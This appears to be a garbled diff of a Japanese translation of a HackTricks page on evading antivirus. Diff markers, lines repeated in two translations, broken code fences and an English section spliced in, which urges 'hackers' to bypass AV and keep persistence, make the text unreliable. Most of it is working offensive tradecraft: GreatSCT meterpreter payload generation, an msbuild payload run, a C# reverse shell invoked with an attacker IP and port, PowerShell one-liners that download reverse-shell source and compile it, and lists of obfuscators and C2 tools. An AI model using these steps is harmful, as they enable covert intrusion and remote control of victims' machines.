* 同じディレクトリに `UltraVNC.ini` がない状態で `winvnc` を起動しないでください。そうすると [設定ウィンドウ](https://i.imgur.com/rfMQWcf.png) が開きます
* ヘルプのために `winvnc -h` を実行しないでください。そうすると [ポップアップ](https://i.imgur.com/oc18wcu.png) が表示されます
### GreatSCT
以下からダウンロードしてください[https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
以下からダウンロードしてください: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
@ -405,43 +386,7 @@ cd GreatSCT/setup/
cd ..
./GreatSCT.py
```
GreatSCT内部
## AV Bypass
### Introduction
Antivirus (AV) software is commonly used to detect and prevent malicious software from running on a system. However, as a hacker, it is crucial to bypass these AV solutions in order to successfully execute your payloads and maintain persistence on a target system.
This section will cover various techniques and strategies to bypass AV detection and ensure the success of your hacking activities.
### Encoding and Encryption
One of the most common techniques to bypass AV detection is encoding or encrypting your payloads. By obfuscating the payload, you can evade signature-based detection mechanisms employed by AV software.
There are several encoding and encryption techniques available, such as base64 encoding, XOR encoding, and AES encryption. These techniques can be used to transform your payload into a format that is not easily recognizable by AV software.
### Payload Obfuscation
Payload obfuscation involves modifying the payload's code to make it more difficult for AV software to detect. This can be achieved by adding junk code, changing variable names, or using code obfuscation tools.
By obfuscating your payload, you can make it harder for AV software to analyze and detect the malicious intent of your code.
### Metasploit Framework
The Metasploit Framework is a powerful tool for penetration testing and exploitation. It also provides various techniques to bypass AV detection.
Metasploit has built-in encoding and encryption modules that can be used to obfuscate your payloads. Additionally, it offers the ability to generate custom shellcode that is less likely to be detected by AV software.
### Fileless Malware
Fileless malware is a type of malware that resides solely in memory and does not leave any traces on the target system's disk. This makes it extremely difficult for AV software to detect and prevent.
By leveraging fileless malware techniques, you can execute your payloads directly in memory, bypassing traditional AV detection mechanisms.
### Conclusion
Bypassing AV detection is a critical skill for hackers. By employing encoding and encryption techniques, payload obfuscation, leveraging the Metasploit Framework, and utilizing fileless malware, you can increase your chances of successfully executing your payloads and maintaining persistence on target systems.
Inside GreatSCT: の中で:
```
use 1
list #Listing available payloads
@ -451,32 +396,24 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
今、`msfconsole -r file.rc`でリスナーを起動し、次のコマンドでXMLペイロードを実行します
**リスナーを開始**するには `msfconsole -r file.rc` を使用し、**xmlペイロード**を実行します:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**現在の防御者はプロセスを非常に速く終了します。**
**現在のディフェンダーはプロセスを非常に迅速に終了させます。**
### 自分自身の逆シェルをコンパイルする
### 独自のリバースシェルのコンパイル
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### 最初のC#シェル
#### 最初のC#リバースシェル
のコマンドでコンパイルします:
以下のコマンドでコンパイルします:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
以下のように使用します:
```bash
python av_bypass.py
```
または
```bash
./av_bypass
それを使用するには:
```
```
back.exe <ATTACKER_IP> <PORT>
@ -553,9 +490,9 @@ catch (Exception err) { }
}
}
```
[https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs](https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs)
### コンパイラを使用したC#
```
### C# コンパイラを使用
```
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
@ -567,19 +504,23 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
```markdown
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
C#の難読化ツールのリスト: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
C# オブスキュレーターのリスト: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
```
```
sudo apt-get install mingw-w64
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
```
### その他のツール
[https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
Merlin, Empire, Puppy, SalsaTools [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/)
Merlin, Empire, Puppy, SalsaTools https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
[https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
@ -588,8 +529,6 @@ https://github.com/l0ss/Grouper2
{% embed url="http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html" %}
{% embed url="http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/" %}
### その他のツール
```bash
# Veil Framework:
https://github.com/Veil-Framework/Veil
@ -622,10 +561,10 @@ https://github.com/praetorian-code/vulcan
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**にフォローしてください。**
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details>